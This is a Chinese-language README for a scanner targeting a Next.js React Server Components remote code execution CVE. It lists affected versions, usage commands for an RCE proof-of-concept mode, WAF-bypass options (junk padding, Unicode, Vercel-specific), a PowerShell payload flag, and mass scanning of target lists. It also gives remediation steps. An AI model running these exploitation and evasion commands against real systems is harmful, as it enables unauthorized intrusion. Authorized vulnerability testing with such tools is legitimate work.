面向 Next.js RSC 远程代码执行漏洞的最全面扫描器
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478(又称 CVE-2025-55182)是一个**严重级别(CVSS 10.0)**的远程代码执行漏洞,影响使用 React Server Components(RSC)的 Next.js 应用程序。
| 版本范围 | 状态 |
|---|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ 存在漏洞 |
| Next.js 15.1.0 - 15.1.8 | ⚠️ 存在漏洞 |
| Next.js 15.2.0 - 15.2.5 | ⚠️ 存在漏洞 |
| Next.js 15.3.0 - 15.3.5 | ⚠️ 存在漏洞 |
| Next.js 15.4.0 - 15.4.7 | ⚠️ 存在漏洞 |
| Next.js 15.5.0 - 15.5.6 | ⚠️ 存在漏洞 |
| Next.js 16.0.0 - 16.0.6 | ⚠️ 存在漏洞 |
| Next.js 14.3.0-canary.77+ | ⚠️ 存在漏洞 |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ 已修复 |
| Next.js 16.0.7+ | ✅ 已修复 |
| Next.js 13.x, 14.x stable | ✅ 不受影响 |
本工具整合了多个 CVE-2025-66478 扫描器的最佳功能:
| 功能特性 | 描述 |
|---|---|
| 🔍 多模式检测 | 安全侧信道、RCE PoC、仅版本检测、本地扫描 |
| 🛡️ WAF 绕过技术 | 垃圾数据填充、Unicode 编码、Vercel 专用绕过 |
| 📁 本地项目扫描 | 扫描 package.json、锁文件以发现易受攻击的依赖项 |
| ⚡ 高性能 | 多线程扫描,并发数可配置 |
| 📊 多种输出格式 | 控制台、JSON、文件导出 |
| 🎯 精确版本检测 | HTTP 响应头、RSC 指纹识别、已修复版本感知 |
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Install dependencies
pip install -r requirements.txt
# Or install manually
pip install requests tqdm
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version
# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe
# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce
# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json
# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q
# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json
# Scan current directory
python3 react2shell-ultimate.py --local .
# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass
# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256
# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode
# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass
# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080
# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"
# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30
# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v
| 选项 | 描述 |
|---|---|
-u, --url | 要扫描的单个 URL |
-l, --list | 包含 URL 的文件(每行一个) |
--local | 扫描本地项目目录 |
--safe | 安全侧信道检测(不执行 RCE) |
--rce | RCE 概念验证模式 |
--version | 仅进行版本检测 |
--comprehensive | 使用所有技术进行全面扫描 |
--waf-bypass | 添加垃圾数据以绕过 WAF |
--waf-bypass-size | 垃圾数据大小(KB,默认:128) |
--unicode | 使用 Unicode 编码绕过 WAF |
--vercel-bypass | Vercel 专用 WAF 绕过 |
--windows | 使用 Windows PowerShell 载荷 |
-t, --threads | 并发线程数(默认:10) |
--timeout | 请求超时时间(秒,默认:10) |
-k, --insecure | 禁用 SSL 验证 |
--proxy | 代理 URL(http://host:port) |
-H, --header | 自定义请求头(可重复) |
-o, --output | 输出文件(JSON) |
--all-results | 保存所有结果,而不仅是易受攻击的目标 |
-v, --verbose | 详细输出 |
-q, --quiet | 仅显示易受攻击的主机 |
--json | 将 JSON 输出到标准输出 |
--no-color | 禁用彩色输出 |
--safe)在不执行任何代码的情况下触发特定的错误响应模式。通过错误处理行为识别易受攻击的 RSC 实现。
--rce)执行一次无害的数学计算(echo $((41*271)) = 11111)以确认 RCE 能力。结果会出现在 X-Action-Redirect 响应头中。
--version)X-Powered-By 响应头以获取 Next.js 版本Vary 响应头中的 RSC 特征text/x-component 响应--local)扫描项目目录以查找:
package.json - 直接依赖声明package-lock.json - NPM 锁文件yarn.lock - Yarn 锁文件pnpm-lock.yaml - PNPM 锁文件bun.lockb - Bun 锁文件[VULNERABLE] https://target.com
Version: 15.3.1 | Status: 200 | Method: rce_poc
WAF Bypass: SUCCESS
[NOT VULNERABLE] https://safe-target.com
Version: 15.5.7 | Status: 200 | Method: http_headers
[WAF BLOCKED] https://protected.com
Version: 15.2.0 | Status: 403 | Method: rce_poc
WAF Detected: Exploit blocked
{
"tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
"version": "1.0.0",
"cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
"scan_time": "2025-12-06T12:00:00Z",
"total_results": 1,
"results": [
{
"url": "https://target.com",
"vulnerable": true,
"version": "15.3.1",
"status_code": 200,
"detection_method": "rce_poc",
"waf_detected": false,
"waf_bypassed": false
}
]
}
如果发现易受攻击的应用程序:
立即升级到已修复版本:
临时缓解措施:
监控日志中的利用尝试
本工具仅用于经授权的安全测试和教育目的。
MIT 许可证 - 详情请参阅 LICENSE 文件。
⭐ 如果你觉得这个工具对你有用,请给本仓库点个 Star!⭐